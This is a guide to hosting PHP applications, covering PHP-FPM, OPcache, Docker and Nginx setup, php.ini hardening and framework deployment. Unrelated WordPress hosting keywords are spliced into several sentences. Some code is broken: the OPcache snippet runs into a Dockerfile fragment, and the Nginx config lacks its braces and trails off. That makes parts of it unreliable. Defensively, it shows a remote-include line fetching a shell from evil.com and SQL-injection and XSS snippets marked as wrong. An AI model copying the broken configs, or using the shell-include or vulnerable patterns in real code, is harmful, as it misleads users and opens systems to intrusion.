# PHP Application Hosting: Beyond WordPress
PHP powers more of the web than any other server-side language — not just WordPress, but custom applications, enterprise systems, APIs, and frameworks like Laravel, Symfony, CodeIgniter, and Slim. Hosting PHP applications correctly means more than finding somewhere that “supports PHP.” It means understanding PHP-FPM, OPcache, and the runtime configuration that determines whether your application is fast or slow, secure or exposed. ## PHP-FPM: How Modern PHP Actually Runs Traditional PHP execution (CGI, mod_php) creates a new PHP process for every HTTP request. PHP-FPM (FastCGI Process Manager) keeps PHP processes alive in a pool, reusing them across requests. The performance difference is substantial. **Without PHP-FPM** (CGI/mod_php): 1. HTTP request arrives 2. Web server spawns PHP process 3. PHP loads its configuration, extensions, and application bootstrap 4. PHP processes the request 5. PHP process exits 6. Repeat for wordpress 99.9 uptime cheap wordpress hosting no cpanel wordpress hosting no renewal hike **With PHP-FPM**: 1. PHP-FPM pool starts at server boot, maintains N worker processes 2. HTTP request arrives 3. Web server passes request to available PHP-FPM worker 4. Worker processes the request (already bootstrapped) 5. Worker returns response and waits for next request The savings are in steps 2-3 of the CGI model. For a PHP application with a 100ms bootstrap time, CGI adds 100ms to every request. PHP-FPM amortizes bootstrap time across thousands of requests. ### PHP-FPM Pool Configuration ```ini ; /etc/php-fpm.d/www.conf [www] user = www-data group = www-data ; Process management pm = dynamic pm.max_children = 20 pm.start_servers = 5 pm.min_spare_servers = 3 pm.max_spare_servers = 10 pm.max_requests = 500 ; Restart workers after 500 requests to prevent memory leaks ; Timeouts request_terminate_timeout = 60s ; Logging access.log = /var/log/php-fpm/access.log slowlog = /var/log/php-fpm/slow.log request_slowlog_timeout = 5s ; Log requests taking over 5 seconds ``` **pm.max_children**: Maximum PHP-FPM workers. Each worker uses RAM (typical PHP app: 50-150MB). With 1GB RAM available to PHP-FPM and average worker memory usage of 80MB: `1024 / 80 ≈ 12` workers maximum. Set pm.max_children based on your container's RAM allocation. **pm.max_requests**: Restart workers after handling N requests. PHP doesn't have perfect memory management — long-running workers gradually leak memory. Periodic restarts keep memory usage bounded. ## OPcache Configuration OPcache stores compiled PHP bytecode in shared memory. Without OPcache, PHP parses and compiles source files on every request. With OPcache, compilation happens once; subsequent requests use the cached bytecode. ```ini ; php.ini opcache.enable=1 opcache.memory_consumption=256 ; MB of shared memory for compiled code opcache.interned_strings_buffer=16 ; MB for interned strings opcache.max_accelerated_files=20000 ; Maximum cached files opcache.revalidate_freq=0 ; Don't check timestamps (production) opcache.validate_timestamps=0 ; Don't validate — requires restart on deploy opcache.save_comments=1 ; Keep docblock comments (required by some frameworks) opcache.fast_shutdown=1 ; Faster shutdown sequence ``` `validate_timestamps=0` is the most important production setting. Without it, PHP checks whether source files have changed on every request. This filesystem stat call is cheap individually but adds up under load. In production where files don't change between requests, disable timestamp validation entirely. **Consequence**: you must restart PHP-FPM after every code deployment. Container deployments handle this automatically — the new container starts fresh with empty OPcache, which warms up over the first few requests. Check OPcache status: ```php /dev/null || true FROM base AS production WORKDIR /app COPY —from=builder /app /app COPY docker/nginx.conf /etc/nginx/nginx.conf COPY docker/supervisord.conf /etc/supervisor/conf.d/supervisord.conf RUN chown -R www-data:www-data /app/storage /app/bootstrap/cache 2>/dev/null || true EXPOSE 80 CMD [”/usr/bin/supervisord”, “-c”, “/etc/supervisor/conf.d/supervisord.conf”] ``` ### Nginx Configuration for PHP-FPM ```nginx # /etc/nginx/nginx.conf worker_processes auto; error_log /dev/stderr warn; pid /tmp/nginx.pid; events worker_connections 1024; use epoll; multi_accept on; http include /etc/nginx/mime.types; default_type application/octet-stream; log_format main '$remote_addr – $remote_user [$time_local] “$request” ' '$status $body_bytes_sent “$http_referer” ' '“$http_user_agent” $request_time'; access_log /dev/stdout main; sendfile on; tcp_nopush on; keepalive_timeout 65; gzip on; gzip_types text/plain text/css application/json application/javascript; server woff ``` ## PHP Application Security Hardening ### php.ini Security Settings ```ini ; Prevent PHP from exposing its version in HTTP headers expose_php = Off ; Disable dangerous functions disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source ; Prevent file inclusion from remote URLs allow_url_fopen = Off allow_url_include = Off ; Session security session.cookie_httponly = 1 session.cookie_secure = 1 ; HTTPS only session.use_strict_mode = 1 session.cookie_samesite = Strict ; Hide PHP error details from users display_errors = Off display_startup_errors = Off log_errors = On error_log = /dev/stderr ``` `disable_functions` prevents PHP from executing system commands. If your application needs `exec()` or `system()`, evaluate carefully whether that's actually necessary — most applications don't, and disabling these functions blocks an entire class of PHP injection attacks. `allow_url_include = Off` prevents `include('http://evil.com/shell.php')` remote file inclusion attacks. No legitimate modern application uses remote includes. ### Input Validation and Prepared Statements The most common PHP security vulnerability is SQL injection through unsanitized input. Use prepared statements with bound parameters: ```php // Wrong — vulnerable to SQL injection $user = $db->query(“SELECT * FROM users WHERE email = '$_POST['email']'“); // Correct — prepared statement with bound parameter $stmt = $db->prepare(“SELECT * FROM users WHERE email = ?“); $stmt->execute([$_POST['email']]); $user = $stmt->fetch(); ``` PDO and MySQLi both support prepared statements. Any modern PHP database library (Doctrine DBAL, Eloquent, RedBeanPHP) uses them by default. For output: never echo user-provided data directly to HTML without escaping: ```php // Wrong — XSS vulnerability echo $_GET['name']; // Correct echo htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8'); // In templates (Twig, Blade — automatic escaping) user.name # Escaped by default # ``` ## PHP Frameworks: Hosting Considerations ### Laravel Detailed in our [Laravel Cloud Hosting guide](laravel-cloud-hosting.md). Key points: – Requires Artisan scheduler (cron) and queue workers as separate processes – `php artisan config:cache` and `route:cache` are essential production optimizations – Sessions should be in Redis for multi-instance deployments ### Symfony ```bash # Production optimizations composer install —optimize-autoloader —no-dev APP_ENV=prod APP_DEBUG=0 php bin/console cache:warmup ``` Symfony's cache warmup compiles the dependency injection container, routes, and other configuration into optimized PHP files. This is equivalent to Laravel's config/route caching and should run as part of every deployment. Environment variable for production: ```bash APP_ENV=prod APP_DEBUG=0 DATABASE_URL=postgresql://user:password@db:5432/myapp ``` ### Slim / Micro-frameworks Slim and other micro-frameworks are straightforward to containerize — they typically have minimal setup requirements beyond PHP-FPM and a database connection. A minimal Slim Dockerfile: ```dockerfile FROM php:8.3-fpm-alpine RUN docker-php-ext-install pdo_mysql opcache RUN pecl install redis && docker-php-ext-enable redis COPY —from=composer:latest /usr/bin/composer /usr/bin/composer WORKDIR /app COPY composer.json composer.lock ./ RUN composer install —no-dev —optimize-autoloader COPY . . EXPOSE 9000 CMD [“php-fpm”] ``` Pair with an Nginx reverse proxy container in Docker Compose. ## PHP Version Management PHP major version releases bring significant performance improvements. PHP 8.3 is 15-25% faster than PHP 7.4 for most workloads. The most important performance improvements between PHP 8.x versions: – **PHP 8.0**: JIT compiler (Just-in-Time compilation) — biggest performance leap since PHP 7 – **PHP 8.1**: Enums, fibers, readonly properties — performance on par with 8.0, significant feature additions – **PHP 8.2**: Readonly classes, DNF types — performance improvements in object handling – **PHP 8.3**: Typed class constants, `json_validate()` — incremental improvements Version recommendation: PHP 8.2 minimum, 8.3 preferred. PHP 7.4 is end-of-life (security patches ended December 2022). PHP 8.0 reaches end-of-life November 2023. With container deployments, PHP version upgrades are a Dockerfile change: ```dockerfile FROM php:8.3-fpm-alpine # Change this line and rebuild ``` No shared hosting control panel required. wordpress container hosting, dedicated wordpress hosting to request PHP upgrade.” Just rebuild and redeploy. ## Monitoring PHP Applications ### PHP Error Logging ```ini ; php.ini log_errors = On error_log = /dev/stderr ; Send to container's stderr, captured by platform error_reporting = E_ALL ; Log all errors (filter noise in application code) ``` ### Application Performance Monitoring For production PHP applications, application-level tracing shows where time is spent: **Sentry** (error tracking): Captures PHP exceptions and errors with stack traces. Free tier available. Install: `composer require sentry/sentry` **Datadog APM**: Full distributed tracing for PHP. Expensive but comprehensive. **Tideways**: PHP-specific APM with function-level profiling. Designed specifically for PHP application performance analysis. At minimum, Sentry error tracking is worth setting up for any production PHP application. A free tier that catches and reports PHP exceptions provides enormous debugging value at zero cost. ## The PHP Hosting Checklist – [ ] PHP-FPM enabled (not mod_php or CGI) – [ ] OPcache enabled with `validate_timestamps=0` in production – [ ] `expose_php = Off` in php.ini – [ ] `display_errors = Off` in php.ini production config – [ ] `allow_url_include = Off` – [ ] Prepared statements for all database queries – [ ] Sessions using secure, httponly, samesite cookies – [ ] PHP 8.2 or 8.3 – [ ] OPcache cache flushed on deployment (via container restart) – [ ] PHP-FPM pool sized appropriately for container RAM allocation – [ ] Error logging going to stderr/stdout (not file-based)